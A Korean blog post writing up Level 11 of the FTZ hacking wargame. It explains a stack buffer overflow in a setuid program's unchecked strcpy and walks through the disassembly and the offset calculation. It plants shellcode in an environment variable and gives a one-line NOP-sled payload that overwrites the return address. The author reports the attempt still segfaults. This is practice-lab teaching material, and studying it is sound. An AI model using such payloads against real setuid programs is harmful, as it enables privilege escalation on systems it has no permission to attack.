나혼자 공부장

[FTZ] Level 11 풀이 본문

pwnable/FTZ

[FTZ] Level 11 풀이

라부송 2019. 11. 13. 17:37

hint

hint 파일을 조회해봤을 때, 이제는 그냥 서론도 없이 코드만 달랑 던져준다.

attackme 파일의 코드인듯 한데, 자세히 보면 setUID 권한을 실행 시키기만 하고 쉘에 뛰어들진 않는다.

하지만 우리는 level12 권한으로 쉘을 실행해서 my-pass로 패스워드를 알아내는게 목표다.

이 코드를 실행해서 어떻게 level12 쉘로 던져질 수 있을지 고민하던 때에, 

 

strcpy (str, argv[1]) 부분을 보면 사용자에게 입력받은 문자열을 아무 예외처리도 없이 str에 그대로 복사하고 있다. 

사용자가 str 사이즈를 뛰어넘는 문자열을 입력할지 어떻게 알고?

일단 여기서 BOF를 이용해야 한다는건 확실해진다.

 

일단 열심히 머리를 싸맨 결과, 사용자가 입력할 문자열이 str에 저장되므로

1. str의 시작지점 주소부터 RET 직전까지의 거리를 구하고

2. 그 거리만큼을 NOP로 채운 다음

3. RET 주소 부분 byte에 쉘코드의 주소를 넣어주는 형태로 BOF를 일으키면 될듯하다.

 

혹시나 싶어서 확인해봤었는데, 따로 NX bit가 걸려있지 않다. 그 말은 스택이 코드와 데이터의 구분이 명확하지 않아서 데이터 부분일지라도 '실행' 해야 한다는 것이다. 

그래서 아예 RET에 도달하기 전에 str 자체에 쉘코드를 넣어주고 str의 시작 주소를 RET 부분에 넣어준 다음, 리턴을 받으면서 str 시작 주소(NOP 포함한 쉘코드)로 점프하여 쉘을 실행시키는 방식이 이론적으로 가능하다.

굳이 쉘코드의 주소를 따다 주는 것보다 이렇게 하는게 더 쉬울거라 생각하고 진행했었지만, ASLR이라는 랜덤 스택 기법 때문에 str의 시작 주소를 명확히 한 방에 넣어줄 방법이 없어져서 기각했다.

 

 

일단 현재 파일에서 attackme를 gdb로 디버깅하려고 해봤자 권한 때문에 주소 조회는 할 수 없다.

tmp에 copy라는 이름으로 복사해서 디버깅해보자.

 

 

disas main

 

 

 

명령어 내용 스택

push ebp

main 프롤로그 중 RET 설정

 

mob ebp, esp

main 프롤로그 중 SFP 설정

sub esp, 0x108

지역변수 공간 264byte 할당

sub exp, 0x8

push 0xc14

push 0xc14

call 0x804834c <setreuid>

setreuid 파라미터 push 및 함수 호출

add esp, 0x10

sub esp, 0x8

mov eax, DWORD PTR [ebp+12]

add eax, 0x4

push DWORD PTR [eax]

이전 함수 파라미터 정리 및  strpy 인자 중 argv[1] push

lea eax, [ebp-264]

push eax

strcpy 인자 중 str push

call   0x804835c <strcpy>

 

strcpy 함수 호출 

add esp, 0x10

sub esp, 0xc

lea eax, [ebp-264]

push eax

이전 함수 파라미터 정리 및 printf 함수 인자 str push

call 0x804833c <printf>

printf 함수 호출

add esp, 0x10

이전 함수 파라미터 정리

leave

mov esp, ebp

pop ebp

ret

pop eip

jmp eip

 

 

 

이 문제를 풀면서 한 가지 유의해야 하는 점은, 

위에 스택 구성 표에는 안 써놨지만 str가 ebp-264 에서 시작된다는 점을 중간에 str을 push하려고 불러오는 명령어에서 알 수 있다.

 

하지만 c코드를 보면 str의 사이즈는 256byte다. 그럼 남은 8byte는 SFP와 str 사이에 dummy byte로 남게 된다.

그럼 RET부터 str 까지의 스택 최종 형태는

 

 

이렇게 정리할 수 있다.

 

 

이제 입력값을 구성해볼 것이다.

str(256) + dummy(8) + SFP(4) = 268 byte 만큼을 NOP로 채운다.

그리고 RET 부분에 쉘코드의 주소를 넣을 것이므로, 쉘코드를 SHELLCODE라는 이름의 환경변수로 지정해버리자.

 

이제 환경변수는 만들었으니 이 환경변수의 주소를 출력하는 코드를 짜보자

 

 

env.c

 

0xbffffc19 라는 주소를 얻었다.

이제 이걸 리턴 주소 부분 바이트에 포함해서 페이로드를 작성하면 된다..

 

./attackme `python -c 'print "\x90"*268+"\x19\xfc\xff\xbf"'`

를 작성하면 쉘이 뜨고 level12 패스워드를 얻을 수 있어..야 하는데 계속 Segmentation fault만 뜬다.

검색해본 결과 해킹 방법의 문제가 아니라 뭔가 리눅스 자체에서 최대 메모리 리미트가 걸려있다는 느낌이다.

ulimit 명령어를 쳐보면서 해결하려고 하고 있지만 약간 막막하다.

해결되면 추가하겠다.

 

정답 : it is like this

'pwnable > FTZ' 카테고리의 다른 글

[FTZ] Level 15 write-up  (0) 2019.11.20
[FTZ] Level 9 풀이  (0) 2019.11.13
Stack Frame debugging  (0) 2019.10.02
Comments